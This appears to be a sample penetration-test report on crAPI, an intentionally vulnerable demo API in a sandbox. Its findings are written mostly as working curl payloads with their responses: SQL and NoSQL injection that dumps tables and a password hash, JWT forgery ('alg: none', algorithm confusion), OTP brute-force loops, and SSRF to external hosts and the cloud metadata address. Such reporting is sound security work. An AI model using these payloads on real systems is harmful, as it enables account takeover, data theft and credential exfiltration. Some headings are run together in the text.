sample-reports/shannon-report-crapi.md
Authentication Vulnerabilities: Multiple critical authentication bypass vulnerabilities were successfully exploited. The application demonstrates complete authentication system failure with JWT algorithm confusion attacks allowing privilege escalation from user to admin roles, unsigned JWT token acceptance bypassing all cryptographic verification, and unlimited brute force capabilities against login and OTP validation endpoints. These vulnerabilities enable attackers to impersonate any user, including administrators, without requiring legitimate credentials.
Authorization Vulnerabilities: Critical authorization control failures were discovered and exploited across multiple endpoints. The application allows unauthenticated access to sensitive order data containing payment information, enables horizontal privilege escalation between user accounts for accessing private forum posts, and permits regular users to access mechanic-only functionality. Business logic bypasses allow unlimited store credit accumulation without proper shopping workflow validation.
Cross-Site Scripting (XSS) Vulnerabilities: No XSS vulnerabilities were found. The application code analysis identified potential XSS sinks in ReactMarkdown components and Django templates, but exploitation attempts were blocked by input validation and framework-level protections.
SQL/Command Injection Vulnerabilities: Critical injection vulnerabilities were successfully exploited in both SQL and NoSQL contexts. PostgreSQL injection in the coupon validation endpoint enabled complete database compromise with extraction of user credentials and system information. MongoDB injection allowed bypassing query filters to access arbitrary coupon data. Command injection vulnerabilities exist in video processing functionality but are protected by internal network restrictions.
Server-Side Request Forgery (SSRF) Vulnerabilities: A critical SSRF vulnerability was successfully exploited through the contact mechanic endpoint, enabling complete internal network access with credential theft capabilities. The vulnerability includes a retry mechanism for persistent attacks and forwards authorization headers to external services. Additional SSRF vectors exist in JWT processing but are currently blocked by token validation logic.
Open Ports and Exposed Services: [REDACTED] Security Misconfigurations: [REDACTED]
Subdomain Discovery: [REDACTED]
Summary:
/workshop/api/shop/apply_coupon endpoint, coupon_code parameterPrerequisites:
coupon_code and amount parametersExploitation Steps:
curl -k -X POST https://crapi.sandbox.local:8888/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email": "[email protected]", "password": "Admin!123"}'
Response: JWT token in the token field
curl -k -X POST https://crapi.sandbox.local:8888/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "'\'' OR 1=1--", "amount": 100}'
Response: {"message":"TESTCOUPON20 Coupon code is already claimed by you!! Please try with another coupon code"}
curl -k -X POST https://crapi.sandbox.local:8888/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "'\'' AND 1=2 UNION SELECT version()--", "amount": 100}'
Response: {"message":"PostgreSQL 14.19 (Debian 14.19-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit Coupon code is already claimed by you!! Please try with another coupon code"}
curl -k -X POST https://crapi.sandbox.local:8888/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "'\'' AND 1=2 UNION SELECT user--", "amount": 100}'
Response: {"message":"admin Coupon code is already claimed by you!! Please try with another coupon code"}
curl -k -X POST https://crapi.sandbox.local:8888/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "'\'' AND 1=2 UNION SELECT current_database()--", "amount": 100}'
Response: {"message":"crapi Coupon code is already claimed by you!! Please try with another coupon code"}
curl -k -X POST https://crapi.sandbox.local:8888/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "'\'' AND 1=2 UNION SELECT string_agg(table_name, '\'','\'') FROM information_schema.tables WHERE table_schema='\''public'\''--", "amount": 100}'
Response: {"message":"otp_token,profile_video,user_details,vehicle_model,vehicle_details,vehicle_location,vehicle_company,user_login,otp,mechanic,django_migrations,django_content_type,auth_permission,auth_group,auth_group_permissions,auth_user_groups,auth_user_user_permissions,auth_user,django_admin_log,service_request,product,applied_coupon,order,health_check_db_testmodel,django_session Coupon code is already claimed by you!! Please try with another coupon code"}
curl -k -X POST https://crapi.sandbox.local:8888/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "'\'' AND 1=2 UNION SELECT email||'\'':'\''||password FROM user_login LIMIT 5--", "amount": 100}'
Response: {"message":"[email protected]:$2a$10$TwbchLEy4653ENobgxRKjemiHlnQE98CPncJYVhFeIfCLeicefAPG Coupon code is already claimed by you!! Please try with another coupon code"}
Proof of Impact:
Summary:
/community/api/v2/coupon/validate-coupon endpointPrerequisites:
Exploitation Steps:
curl -k -X POST https://crapi.sandbox.local:8888/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email": "[email protected]", "password": "Admin!123"}'
curl -k -X POST https://crapi.sandbox.local:8888/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "test"}'
Response: {} (empty object for non-existent coupon)
curl -k -X POST https://crapi.sandbox.local:8888/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"coupon_code": {"$ne": null}}'
Response: {"coupon_code":"TRAC075","amount":"75","CreatedAt":"2025-09-23T18:00:24.201Z"}
curl -k -X POST https://crapi.sandbox.local:8888/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"coupon_code": {"$regex": "^."}}'
Response: {"coupon_code":"TRAC075","amount":"75","CreatedAt":"2025-09-23T18:00:24.201Z"}
curl -k -X POST https://crapi.sandbox.local:8888/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"coupon_code": {"$gt": ""}}'
Response: {"coupon_code":"TRAC075","amount":"75","CreatedAt":"2025-09-23T18:00:24.201Z"}
Proof of Impact:
Summary:
services/identity/src/main/java/com/crapi/config/JwtProvider.javaPrerequisites:
/.well-known/jwks.jsonExploitation Steps:
curl -k "https://crapi.sandbox.local:8888/.well-known/jwks.json"
Obtain legitimate JWT token by logging in with [email protected] / Test!123
Create forged JWT token using algorithm confusion:
"alg": "RS256" to "alg": "HS256""role": "user" to "role": "admin"[email protected] to [email protected]Test forged token against dashboard endpoint:
curl -k -H "Authorization: Bearer [FORGED_TOKEN]" "https://crapi.sandbox.local:8888/identity/api/v2/user/dashboard"
Proof of Impact:
[email protected] account[email protected] account with elevated privilegesNotes:
Python script /source/jwt_algorithm_confusion_attack.py demonstrates complete attack chain with 100% success rate.
Summary:
"alg": "none"Prerequisites: None
Exploitation Steps:
Create unsigned JWT token with admin privileges:
{"alg": "none"}{"sub": "[email protected]", "iat": 1758655244, "exp": 1759260044, "role": "admin"}header.payload.)Test unsigned token:
curl -k -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbkBleGFtcGxlLmNvbSIsImlhdCI6MTc1ODY1NTI0NCwiZXhwIjoxNzU5MjYwMDQ0LCJyb2xlIjoiYWRtaW4ifQ." "https://crapi.sandbox.local:8888/identity/api/v2/user/dashboard"
Proof of Impact:
Summary:
Prerequisites: Ability to craft JWT tokens with JKU headers
Exploitation Steps:
{
"alg": "RS256",
"jku": "http://192.168.1.1/admin",
"typ": "JWT"
}
http://192.168.1.1/admin (10.0s timeout - confirms internal network access)http://10.0.0.1/status (10.3s timeout - confirms internal routing)http://172.16.0.1/health (10.3s timeout - confirms private IP access)Proof of Impact:
Summary:
Prerequisites: None
Exploitation Steps:
/dev/null:{
"alg": "HS256",
"kid": "/dev/null",
"typ": "JWT"
}
AA== (triggered by /dev/null KID):# Python implementation
import base64
import hmac
import hashlib
weak_secret = base64.b64decode("AA==")
signature = hmac.new(weak_secret, token_data.encode(), hashlib.sha256).digest()
curl -k -H "Authorization: Bearer [KID_FORGED_TOKEN]" "https://crapi.sandbox.local:8888/identity/api/v2/user/dashboard"
Proof of Impact:
Summary:
POST /identity/api/auth/v2/check-otpPrerequisites:
Exploitation Steps:
curl -k -X POST "https://crapi.sandbox.local:8888/identity/api/auth/forget-password" -H "Content-Type: application/json" -d '{"email": "[email protected]"}'
# Test range 0000-9999
for otp in range(10000):
curl -k -X POST "https://crapi.sandbox.local:8888/identity/api/auth/v2/check-otp" -H "Content-Type: application/json" -d '{"otp": "' + str(otp).zfill(4) + '", "password": "NewPassword123!", "email": "[email protected]"}'
Proof of Impact:
Summary:
POST /identity/api/auth/loginPrerequisites:
Exploitation Steps:
[email protected] with common passwords:curl -k -X POST "https://crapi.sandbox.local:8888/identity/api/auth/login" -H "Content-Type: application/json" -d '{"email": "[email protected]", "password": "password"}'
Perform automated brute force with password list:
Execute parallel attacks to test concurrent handling
Proof of Impact:
Summary:
POST /identity/api/auth/signupPrerequisites: None
Exploitation Steps:
for i in range(50):
data = {
"name": f"Test User {i}",
"email": f"test{i}@exploit.com",
"number": f"555000{i:03d}",
"password": "Test123!"
}
response = requests.post(signup_url, json=data)
Proof of Impact:
Summary:
POST /identity/api/auth/login error responsesPrerequisites: None
Exploitation Steps:
curl -k -X POST "https://crapi.sandbox.local:8888/identity/api/auth/login" -H "Content-Type: application/json" -d '{"email": "[email protected]", "password": "anything"}'
Response: "Given Email is not registered!"
curl -k -X POST "https://crapi.sandbox.local:8888/identity/api/auth/login" -H "Content-Type: application/json" -d '{"email": "[email protected]", "password": "wrongpassword"}'
Response: "Invalid Credentials"
Proof of Impact:
[email protected], [email protected]Summary:
POST /identity/api/auth/signup error responsesPrerequisites: None
Exploitation Steps:
curl -k -X POST "https://crapi.sandbox.local:8888/identity/api/auth/signup" -H "Content-Type: application/json" -d '{"name": "Test", "email": "[email protected]", "number": "1234567890", "password": "Test123!"}'
Proof of Impact:
"Number already registered! Number: 1234567890""Email already registered! Email: [email protected]"Summary:
POST /identity/api/auth/forget-password responsesPrerequisites: None
Exploitation Steps:
curl -k -X POST "https://crapi.sandbox.local:8888/identity/api/auth/forget-password" -H "Content-Type: application/json" -d '{"email": "[email protected]"}'
Response: HTTP 404 - "Given Email is not registered! [email protected]"
curl -k -X POST "https://crapi.sandbox.local:8888/identity/api/auth/forget-password" -H "Content-Type: application/json" -d '{"email": "[email protected]"}'
Response: HTTP 200 - "OTP Sent on the provided email, [email protected]"
Proof of Impact:
Summary:
Prerequisites:
Exploitation Steps:
{
"sub": "[email protected]",
"iat": 1758655244,
"exp": 1759260044,
"role": "user"
}
curl -k -X POST "https://crapi.sandbox.local:8888/logout"
curl -k -X POST "https://crapi.sandbox.local:8888/api/logout"
curl -k -X POST "https://crapi.sandbox.local:8888/auth/logout"
curl -k -H "Authorization: Bearer [SAME_TOKEN]" "https://crapi.sandbox.local:8888/identity/api/v2/user/dashboard"
Proof of Impact:
Summary:
Prerequisites: None
Exploitation Steps:
# Original token with valid signature replaced with random string
curl -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhZG1pbkBleGFtcGxlLmNvbSIsImlhdCI6MTc1ODY1NTI0NCwiZXhwIjoxNzU5MjYwMDQ0LCJyb2xlIjoiYWRtaW4ifQ.CORRUPTED_SIGNATURE" "https://crapi.sandbox.local:8888/identity/api/v2/user/dashboard"
Proof of Impact:
All vulnerabilities demonstrate immediate exploitability with concrete proof of unauthorized access, privilege escalation, or security control bypass through the public application interface at https://crapi.sandbox.local:8888/.
Summary:
mechanic_api parameterPrerequisites:
Exploitation Steps:
Register and authenticate user account:
curl -X POST "https://crapi.sandbox.local:8888/identity/api/auth/signup" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "TestPassword123!",
"name": "SSRF Test User",
"number": "5559876543"
}'
Login to obtain JWT token:
curl -X POST "https://crapi.sandbox.local:8888/identity/api/auth/login" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "TestPassword123!"
}'
Response: {"token":"eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJzc3JmdGVzdF91bmlxdWVfMjAyNEBleGFtcGxlLmNvbSIsImlhdCI6MTc1ODY1NTE2OSwiZXhwIjoxNzU5MjU5OTY5LCJyb2xlIjoidXNlciJ9.G1b01ATcwCP_jqEYYiL4QqIizklykmJP75DMmq5QwPKgZAn5hcjVgpNwUMkyrsKavHqTcpIfsZsNQOw455edxuvRZcUiOpzxJxJRE7XWKGlXolXQ2HOJjBbnSu3Ut8nz-iJXJNduMrJiyTneSDx_npPAb8VnE-e84FMogrfPf8_F_nrq10y_5g5RnN_J2nmHrCiqASts49QwWxMFqTfhvHVrss78IioHjnw86oQ1px0xscbYf7DVRYhref9Nm_4yxSgc744z1dJHuOg8zpHiaVAGyIs4tljBOaE4yyHhOunmE3j5JcgfGhrEflvnACNMQpkwn07m09KahjD65uPrJw","type":"Bearer","message":"Login successful","mfaRequired":false}
Exploit SSRF with external service to demonstrate credential forwarding:
curl -X POST "https://crapi.sandbox.local:8888/workshop/api/merchant/contact_mechanic" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer [JWT_TOKEN]" \
-d '{
"mechanic_api": "http://httpbin.org/get",
"message": "SSRF test",
"repeat_request_if_failed": false,
"number_of_repeats": 1
}'
Demonstrate cloud metadata service access (shows network boundary bypass):
curl -X POST "https://crapi.sandbox.local:8888/workshop/api/merchant/contact_mechanic" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer [JWT_TOKEN]" \
-d '{
"mechanic_api": "http://169.254.169.254/latest/meta-data/"
}'
Demonstrate retry mechanism for persistent attacks:
curl -X POST "https://crapi.sandbox.local:8888/workshop/api/merchant/contact_mechanic" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer [JWT_TOKEN]" \
-d '{
"mechanic_api": "http://httpbin.org/status/200",
"repeat_request_if_failed": true,
"number_of_repeats": 5
}'
Proof of Impact:
{
"response_from_mechanic_api": {
"headers": {
"Authorization": "Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJzc3JmdGVzdF91bmlxdWVfMjAyNEBleGFtcGxlLmNvbSIsImlhdCI6MTc1ODY1NTE2OSwiZXhwIjoxNzU5MjU5OTY5LCJyb2xlIjoidXNlciJ9.G1b01ATcwCP_jqEYYiL4QqIizklykmJP75DMmq5QwPKgZAn5hcjVgpNwUMkyrsKavHqTcpIfsZsNQOw455edxuvRZcUiOpzxJxJRE7XWKGlXolXQ2HOJjBbnSu3Ut8nz-iJXJNduMrJiyTneSDx_npPAb8VnE-e84FMogrfPf8_F_nrq10y_5g5RnN_J2nmHrCiqASts49QwWxMFqTfhvHVrss78IioHjnw86oQ1px0xscbYf7DVRYhref9Nm_4yxSgc744z1dJHuOg8zpHiaVAGyIs4tljBOaE4yyHhOunmE3j5JcgfGhrEflvnACNMQpkwn07m09KahjD65uPrJw",
"Host": "httpbin.org",
"User-Agent": "python-requests/2.30.0"
},
"origin": "18.236.247.3",
"url": "http://httpbin.org/get?mechanic_api=http%3A%2F%2Fhttpbin.org%2Fget&message=SSRF+test&repeat_request_if_failed=False&number_of_repeats=1"
},
"status": 200
}
Notes:
verify=False) in the server's HTTP client, making HTTPS internal services accessibleSummary:
Prerequisites: None (unauthenticated access)
Exploitation Steps:
Access the shop orders endpoint without any authentication:
curl -X GET "https://crapi.sandbox.local:8888/workshop/api/shop/orders/1" \
-H "Content-Type: application/json"
Enumerate multiple order IDs to access different users' data:
curl -X GET "https://crapi.sandbox.local:8888/workshop/api/shop/orders/2" \
-H "Content-Type: application/json"
Proof of Impact: Successfully accessed order data for multiple users without authentication:
Each response includes full order details, payment information (partially masked card numbers), customer email addresses, and transaction IDs.
Notes: This vulnerability affects all order records in the system and requires no authentication whatsoever.
Summary:
Prerequisites: Valid JWT Bearer token (any authenticated user)
Exploitation Steps:
Create a private post as TestUser1:
curl -X POST "https://crapi.sandbox.local:8888/community/api/v2/community/posts" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer [TESTUSER1_TOKEN]" \
-d '{
"title": "TestUser1 Private Post",
"content": "This is a private post by TestUser1 that should not be accessible to other users"
}'
Access TestUser1's post using TestUser2's authentication token:
curl -X GET "https://crapi.sandbox.local:8888/community/api/v2/community/posts/hiH8i5d8sCeWEehQ6f8H9W" \
-H "Authorization: Bearer [TESTUSER2_TOKEN]"
Proof of Impact: TestUser2 successfully accessed TestUser1's private post content including:
This demonstrates that any authenticated user can read any other user's forum posts regardless of ownership.
Summary:
Prerequisites: Valid JWT Bearer token (any authenticated user)
Exploitation Steps:
Test video deletion with existing video IDs:
curl -X DELETE "https://crapi.sandbox.local:8888/identity/api/v2/user/videos/1" \
-H "Authorization: Bearer [USER_TOKEN]"
Test video deletion with non-existing video IDs:
curl -X DELETE "https://crapi.sandbox.local:8888/identity/api/v2/user/videos/999" \
-H "Authorization: Bearer [USER_TOKEN]"
Proof of Impact: Different response messages reveal video existence:
This differential response allows systematic enumeration of all video IDs in the system, revealing which videos exist without proper authorization checks.
Summary:
Prerequisites: Valid JWT Bearer token (regular user role)
Exploitation Steps:
curl -X GET "https://crapi.sandbox.local:8888/workshop/api/mechanic/service_requests" \
-H "Authorization: Bearer [REGULAR_USER_TOKEN]"
Proof of Impact: Regular user successfully accessed mechanic functionality:
{"service_requests":[],"next_offset":null,"previous_offset":null,"count":0}
The endpoint responded with a valid service requests structure instead of an authorization error, proving that role validation is bypassed and regular users can access mechanic-only functionality.
Summary:
Prerequisites: None (unauthenticated access)
Exploitation Steps:
curl -X GET "https://crapi.sandbox.local:8888/workshop/api/mechanic/receive_report" \
-H "Content-Type: application/json"
Proof of Impact: Successfully accessed the endpoint without authentication, receiving field validation requirements:
{"mechanic_code":["This field is required."],"problem_details":["This field is required."],"vin":["This field is required."]}
This proves the authentication bypass - the endpoint processes the request and returns field requirements instead of an authentication error, indicating that anyone can access this mechanic functionality without proper credentials.
Summary:
Prerequisites: Target user email address
Exploitation Steps:
Initiate password reset workflow:
curl -X POST "https://crapi.sandbox.local:8888/identity/api/auth/forget-password" \
-H "Content-Type: application/json" \
-d '{"email": "[email protected]"}'
Execute systematic OTP brute force attack:
# Test multiple OTP values from 000000 to 999999
curl -X POST "https://crapi.sandbox.local:8888/identity/api/auth/v2/check-otp" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"otp": "000000",
"password": "NewHackedPassword123!"
}'
Proof of Impact: Systematic testing confirmed complete absence of brute force protections:
The v2 endpoint allows unlimited OTP enumeration, making it possible to systematically test all 1,000,000 possible OTP combinations (000000-999999) to reset any user's password.
Summary:
Prerequisites: Valid JWT Bearer token, valid coupon code
Exploitation Steps:
Create a test coupon:
curl -X POST "https://crapi.sandbox.local:8888/community/api/v2/coupon/new-coupon" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer [USER_TOKEN]" \
-d '{
"amount": "20",
"coupon_code": "TESTCOUPON20"
}'
Apply coupon without shopping cart workflow:
curl -X POST "https://crapi.sandbox.local:8888/workshop/api/shop/apply_coupon" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer [USER_TOKEN]" \
-d '{
"coupon_code": "TESTCOUPON20",
"amount": 100
}'
Proof of Impact: Successfully bypassed normal shopping workflow and accumulated credit:
{"credit":200.0,"message":"Coupon successfully applied!"}
The application granted $200.00 in store credit without requiring any items in cart or following the proper shopping workflow. This allows attackers to accumulate unlimited store credit by repeatedly applying coupons without purchasing any products.